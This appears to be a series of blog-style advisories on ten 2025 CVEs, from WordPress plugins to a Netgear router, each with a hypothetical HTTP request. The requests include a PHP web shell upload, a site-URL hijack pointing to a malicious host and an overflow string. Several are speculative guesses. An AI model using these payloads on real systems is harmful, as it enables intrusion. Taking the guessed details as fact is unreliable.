Author: Ameeba

CVE-2025-3952: Unauthorized Modification of Data in Projectopia WordPress Plugin
Overview

The CVE-2025-3952 vulnerability exposes websites running on WordPress that utilize the Projectopia project management plugin. This vulnerability allows authenticated users with Subscriber-level access to delete arbitrary data. The potential consequences of this vulnerability are substantial, leading to unauthorized data modification, potential system compromise, or data leakage. In the worst-case scenario, it may result in denial of service, which can disrupt the operations of the WordPress site, damaging the site’s reputation and user experience.

Vulnerability Summary

CVE ID: CVE-2025-3952
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Unauthorized modification of data leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Projectopia – WordPress Project Management Plugin | Up to, and including, 5.1.16

How the Exploit Works

The vulnerability stems from a missing capability check on the ‘pto_remove_logo’ function in the Projectopia – WordPress Project Management plugin for WordPress. This omission allows authenticated users with Subscriber-level access to delete arbitrary option values on the WordPress site. The attacker could leverage this oversight to delete an option that would create an error on the site and deny service to legitimate users.

Conceptual Example Code

An attacker might exploit the vulnerability using an HTTP request similar to the following:
```
POST /wp-admin/admin-ajax.php?action=pto_remove_logo HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: wordpress_logged_in_[hash]=attacker_session
{ "option": "critical_option_to_remove" }
```
In this conceptual example, the attacker sends a POST request to the ‘pto_remove_logo’ function, using their authenticated session cookie. They specify a critical option to remove, leading to an error on the site and potentially denying service to legitimate users.

Mitigation

As a countermeasure to this vulnerability, it is recommended to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These security measures can detect and block exploitation attempts, protecting the WordPress site until the vendor patch can be applied.
May 8, 2025
CVE-2025-2816: Unauthorized Modification Vulnerability in Page View Count Plugin for WordPress
Overview

The CVE-2025-2816 is a critical security vulnerability that affects the Page View Count plugin for WordPress, versions 2.8.0 to 2.8.4. This vulnerability allows unauthorized data modification that can lead to a denial of service. The vulnerability is significant because it allows even low-level authenticated users, such as Subscribers, to update option values on a WordPress site. This could lead to a complete denial of service for legitimate users, data leakage, or potentially even system compromise.

Vulnerability Summary

CVE ID: CVE-2025-2816
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level Access)
User Interaction: Required
Impact: Potential System Compromise or Data Leakage

Affected Products

Product | Affected Versions

Page View Count Plugin for WordPress | 2.8.0 to 2.8.4

How the Exploit Works

The exploit takes advantage of a missing capability check on the yellow_message_dontshow() function in the Page View Count plugin for WordPress. This allows an attacker with Subscriber-level access to manipulate the function and update option values on the WordPress site. The attacker could use this to create an error on the site that would deny service to legitimate users or to set certain values to true, such as enabling registration.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited might look like this:
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
action=yellow_message_dontshow&option_name=siteurl&option_value=http://malicious.example.com
```
In this example, the attacker is sending a POST request to the WordPress AJAX handler with the action set to ‘yellow_message_dontshow. The option_name parameter is set to ‘siteurl’ and the option_value parameter is set to the attacker’s malicious site. If successful, this exploit would update the site’s URL to the malicious site, causing all subsequent traffic to be redirected there.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. It is also recommended to regularly update your WordPress plugins to their latest versions, as they often come with security patches for known vulnerabilities.
Remember, your cybersecurity is only as strong as your weakest link, so always stay vigilant and proactive in maintaining your systems.
May 8, 2025
CVE-2025-30391: Microsoft Dynamics Input Validation Vulnerability Leading to Unauthorized Information Disclosure
Overview

In the realm of cybersecurity, every potential point of unauthorized access or data leakage is a matter of grave concern. This blog post focuses on one such vulnerability, CVE-2025-30391, found within the popular business application software, Microsoft Dynamics. This critical flaw, due to improper input validation, could allow an unauthorized attacker to disclose sensitive information over a network. Companies relying on Microsoft Dynamics need to be aware of this vulnerability and the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-30391
Severity: High, CVSS score of 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized information disclosure, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Microsoft Dynamics | All versions up to and including the latest version at the time of discovery

How the Exploit Works

The vulnerability stems from a flaw in the input validation process of Microsoft Dynamics. An attacker can craft a malicious payload that is embedded in a seemingly benign request. This payload, when processed by the vulnerable software, triggers the vulnerability, allowing the attacker to gain unauthorized access to sensitive information over the network. Without the need for any user interaction or privilege escalation, this exploit can lead to a potentially devastating system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a hypothetical HTTP request containing a malicious payload:
```
POST /dynamics/api/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<script>...</script>" }
```
In this example, the attacker has embedded a malicious script within the payload of the request. Once the request is processed by the vulnerable endpoint, the malicious script can be executed, leading to unauthorized information disclosure.

Mitigation Guidance

Until a patch is issued by the vendor, the mitigation strategy against this vulnerability includes using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor incoming network traffic and detect any malicious payloads. Furthermore, it is recommended to regularly monitor and update the software to ensure its security.
In conclusion, CVE-2025-30391 is a severe vulnerability within Microsoft Dynamics that could potentially lead to unauthorized information disclosure and system compromise. Organizations using this software should take immediate steps to mitigate this vulnerability until a patch is available.
May 8, 2025
CVE-2025-21416: Azure Virtual Desktop Privilege Escalation Vulnerability
Overview

In the fast-paced realm of cybersecurity, staying ahead of potential threats and vulnerabilities is paramount. Today, we delve into the specifics of a newly identified security vulnerability, CVE-2025-21416, affecting Microsoft’s Azure Virtual Desktop. This vulnerability, if exploited, could allow an authorized attacker to elevate privileges over a network, resulting in potential system compromise or data leakage.
The potential impact of this vulnerability is particularly concerning due to the widespread use of Azure Virtual Desktop in various business environments. Being a popular choice for remote desktop solutions, this vulnerability can affect numerous organizations and their sensitive data, making its timely mitigation a necessity.

Vulnerability Summary

CVE ID: CVE-2025-21416
Severity: High (8.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Azure Virtual Desktop | All versions prior to security patch

How the Exploit Works

The CVE-2025-21416 vulnerability exploits a missing authorization issue in Azure Virtual Desktop. An authorized attacker can send specially crafted network requests to a vulnerable Azure Virtual Desktop. Due to the missing authorization, these requests can result in the attacker gaining elevated privileges. With these elevated privileges, an attacker can manipulate the system or access sensitive data, resulting in a system compromise or a data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious network request:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Authorization: Bearer [Valid Token]
Content-Type: application/json
{ "malicious_payload": "Elevate_Privileges" }
```
In the above example, the attacker sends a POST request to a vulnerable endpoint of the Azure Virtual Desktop. The malicious payload `Elevate_Privileges` is designed to exploit the missing authorization vulnerability, allowing the attacker to gain elevated privileges on the system.

Recommended Mitigations

The most effective way to mitigate this vulnerability is to apply the security patch provided by the vendor, Microsoft, for Azure Virtual Desktop. Until the patch can be applied, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation, helping to prevent exploitation of this vulnerability. Regularly updating and patching systems is an essential practice for maintaining cybersecurity hygiene and protecting against potential threats.
May 8, 2025
CVE-2025-23254: NVIDIA TensorRT-LLM Python Executor Data Validation Vulnerability
Overview

A critical vulnerability has been identified in NVIDIA’s TensorRT-LLM platform, specifically affecting its python executor. This vulnerability, designated as CVE-2025-23254, presents a significant risk to businesses and individuals utilizing NVIDIA TensorRT-LLM. The vulnerability enables an attacker with local access to the TRTLLM server to exploit a data validation flaw, leading to potential compromise of the system and potential data leakage.
The severity of this vulnerability cannot be understated. As it may lead to code execution, information disclosure, and data tampering, it poses a serious threat to the integrity of systems and data. Therefore, swift action is needed to mitigate the risks associated with CVE-2025-23254.

Vulnerability Summary

CVE ID: CVE-2025-23254
Severity: Critical (CVSS 8.8)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: System compromise, information disclosure, and data tampering

Affected Products

Product | Affected Versions

NVIDIA TensorRT-LLM | All versions prior to the patch

How the Exploit Works

The vulnerability lies in the Python executor of NVIDIA’s TensorRT-LLM. An attacker with local access can trigger a data validation issue, causing the system to execute malicious code or disclose sensitive information. This is likely due to a flaw in how the Python executor handles certain types of data or requests, allowing unexpected and potentially harmful input to be processed.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited:
```
# Connect to local TRTLLM server
connection = connect_to_trtllm_server()
# Craft malicious payload
malicious_payload = create_malicious_payload()
# Send the payload to the Python executor
response = connection.send_payload_to_python_executor(malicious_payload)
# If the exploit is successful, the response will contain sensitive data or grant control of the system
if exploit_successful(response):
print("Exploit successful!")
```
In this example, `connect_to_trtllm_server()`, `create_malicious_payload()`, and `exploit_successful()` are placeholders for functions that an attacker might use to connect to the server, craft a malicious payload, and verify the success of the exploit, respectively. This is a hypothetical example and does not represent an actual exploit.

Mitigation and Remediation

Users of NVIDIA’s TensorRT-LLM should immediately apply the vendor’s patch to mitigate the vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these are not long-term solutions and the vendor’s patch should be applied as soon as possible.
May 7, 2025
CVE-2025-4150: Critical Buffer Overflow Vulnerability in Netgear EX6200 1.0.3.94

Overview

CVE-2025-4150 is a critical vulnerability discovered in the Netgear EX6200 1.0.3.94, a popular router used by both individuals and businesses. This vulnerability, if exploited, could lead to potential system compromise or data leakage, making it a serious threat to the integrity and confidentiality of the affected systems. Despite being notified, the vendor has yet to respond or issue any patches, making the threat even more pressing.

Vulnerability Summary

CVE ID: CVE-2025-4150
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Netgear EX6200 | 1.0.3.94

How the Exploit Works

The vulnerability stems from a buffer overflow condition within the ‘sub_54340’ function of the Netgear EX6200. The function mishandles certain input, particularly the ‘host’ argument, allowing for a buffer overflow. This overflow can then be leveraged by an attacker to execute arbitrary code on the system or cause a denial of service via a crafted request.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This is a hypothetical HTTP request where an attacker sends a payload designed to trigger the buffer overflow.
“`http
POST /sub_54340 HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
“host”: “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

May 7, 2025
CVE-2025-4149: Critical Buffer Overflow Vulnerability in Netgear EX6200 1.0.3.94
Overview

The CVE-2025-4149 is a critical vulnerability discovered in Netgear EX6200 version 1.0.3.94. The flaw exists in the function sub_54014 and can be exploited remotely by manipulating the argument ‘host’, which leads to a buffer overflow. This is a grave concern for users and administrators of the said product as it opens up the potential for system compromise and data leakage, posing significant threats to privacy and security.
Given the vendor’s lack of response to this disclosure, it is imperative that users are made aware of the vulnerability and its impacts. The severity score of 8.8 assigned to this vulnerability reflects its potential to inflict significant damage, and measures need to be taken to mitigate the risks.

Vulnerability Summary

CVE ID: CVE-2025-4149
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Netgear EX6200 | 1.0.3.94

How the Exploit Works

The exploit works by manipulating the ‘host’ argument in the function sub_54014. This manipulation triggers a buffer overflow, which can allow an attacker to execute arbitrary code on the system or even gain control of the system. The attack can be initiated remotely over the network, requiring no user interaction and no special privileges, which makes it particularly dangerous.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability. This could be done by sending a specially crafted HTTP request to the target device:
```
POST /sub_54014 HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "host": "A long string that causes buffer overflow..." }
```
In the above example, the ‘host’ key in the JSON body is given a long string value that exceeds the buffer capacity, triggering an overflow.
Please note that this is a conceptual example and the actual exploitation would require specific knowledge of the system’s architecture and the vulnerable function’s implementation.
May 7, 2025
CVE-2025-4148: Critical Buffer Overflow Vulnerability in Netgear EX6200
Overview

A critical vulnerability has been discovered in the Netgear EX6200, firmware version 1.0.3.94. This vulnerability has been identified and classified as CVE-2025-4148, presenting a severe risk to the integrity and security of affected systems. The issue resides within the `sub_503FC` function, where an incorrect handling of the ‘host’ argument may lead to buffer overflow. Due to the nature of this vulnerability, the potential for unauthorized remote access and execution of arbitrary code is a notable concern, posing a genuine risk to user data and system stability.

Vulnerability Summary

CVE ID: CVE-2025-4148
Severity: Critical (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Netgear EX6200 | 1.0.3.94

How the Exploit Works

The vulnerability originates from the `sub_503FC` function, specifically the manipulation of the ‘host’ argument. When this argument is handled incorrectly, it leads to a buffer overflow condition. This condition occurs when more data is written to a buffer than it can hold, causing the excess data to overflow into adjacent memory locations. This can corrupt data, crash the system, or lead to the execution of malicious code. In this case, the vulnerability can be exploited remotely, making it particularly dangerous.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. In this case, a malicious payload is sent to a vulnerable endpoint, which could cause a buffer overflow:
```
POST /vulnerable/sub_503FC HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "host": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." }
```
In this example, “A” represents an arbitrary character, and the string length exceeds the buffer capacity, causing it to overflow. This is a simplified representation of an attack; a real-world exploit would likely involve carefully crafted input designed to execute malicious code or disrupt system operation.

Mitigation Guidelines

The ideal mitigation for this vulnerability would be to apply a vendor-supplied patch. However, as of the time of writing, the vendor has not responded to this disclosure. In the absence of a vendor patch, implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as a temporary mitigation measure by monitoring and potentially blocking malicious traffic. Regular system and software updates, along with robust cybersecurity practices, are also essential in preventing successful exploits.
May 7, 2025
CVE-2025-1305: Cross-Site Request Forgery (CSRF) Vulnerability in NewsBlogger WordPress Theme
Overview

CVE-2025-1305 is a security vulnerability in the NewsBlogger theme for WordPress. This vulnerability allows Cross-Site Request Forgery (CSRF), a type of malicious exploit where unauthorized commands are performed on behalf of an authenticated user, due to incorrect nonce validation in a critical function. The affected theme is used by thousands of WordPress bloggers, which puts a significant number of sites at risk. A successful exploit can lead to potential system compromise or data leakage, thereby causing significant damage to the site owner and its visitors.

Vulnerability Summary

CVE ID: CVE-2025-1305
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

NewsBlogger WordPress Theme |

How the Exploit Works

The vulnerability lies in the nonce validation of the `newsblogger_install_and_activate_plugin()` function. A nonce is a security token used to protect WordPress URLs and forms against certain types of misuse, malicious or otherwise. In this case, missing or incorrect nonce validation can allow an attacker to evade the security measures and perform CSRF attacks. The attacker can trick a site administrator into clicking on a malicious link, which forges a request that uploads arbitrary files. This, in turn, allows remote code execution by the attacker, leading to potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how a CSRF attack exploiting this vulnerability might look. The attacker creates a malicious link or script that sends a POST request to the vulnerable endpoint.
```
POST /wp-admin/admin-ajax.php?action=newsblogger_install_and_activate_plugin HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
plugin=malicious_plugin.zip&nonce=...
```
In this example, the attacker has replaced the `plugin` parameter with a malicious file and used a forged `nonce` value. When clicked by an unsuspecting website administrator, this request would be sent and processed by the server, leading to the installation and activation of a malicious plugin.

Mitigation Guidance

To protect your WordPress site from this vulnerability, it is advised to apply the vendor patch as soon as it’s available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can help detect and block malicious traffic that attempts to exploit this vulnerability. Furthermore, administrators should be wary of clicking on unverified links to prevent CSRF attacks.
May 7, 2025
CVE-2025-1304: Unauthorized File Upload Vulnerability in NewsBlogger WordPress Theme
Overview

In the rapidly evolving digital landscape, cyber threats have become a substantial concern for many organizations. One of the latest vulnerabilities discovered is CVE-2025-1304, which affects the NewsBlogger theme for WordPress, a popular CMS (Content Management System). The vulnerability lies within the newsblogger_install_and_activate_plugin() function, which lacks a necessary capability check, leading to potential unauthorized file uploads.
This vulnerability matters because it gives attackers with subscriber-level access the potential to upload arbitrary files onto the affected site’s server. In a worst-case scenario, this could result in remote code execution, compromising the entire system or leading to substantial data leakage.

Vulnerability Summary

CVE ID: CVE-2025-1304
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

NewsBlogger Theme for WordPress | Up to and including 0.2.5.1

How the Exploit Works

The exploit takes advantage of a missing capability check in the newsblogger_install_and_activate_plugin() function. This function, present in the NewsBlogger WordPress Theme, fails to properly verify the user’s privileges when uploading a file. As a result, even a user with minimal privileges, such as a subscriber, can upload arbitrary files onto the server.
This vulnerability opens the door for a potential remote code execution attack. If an attacker uploads a malicious file and is able to execute it, they could potentially gain control of the server, leading to system compromise or significant data leakage.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability by sending an HTTP POST request with a malicious file:
```
POST /wp-admin/admin-ajax.php?action=newsblogger_upload_file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, a PHP file that contains a command execution function is uploaded. If the server processes this file, it could lead to remote code execution, compromising the system.
May 7, 2025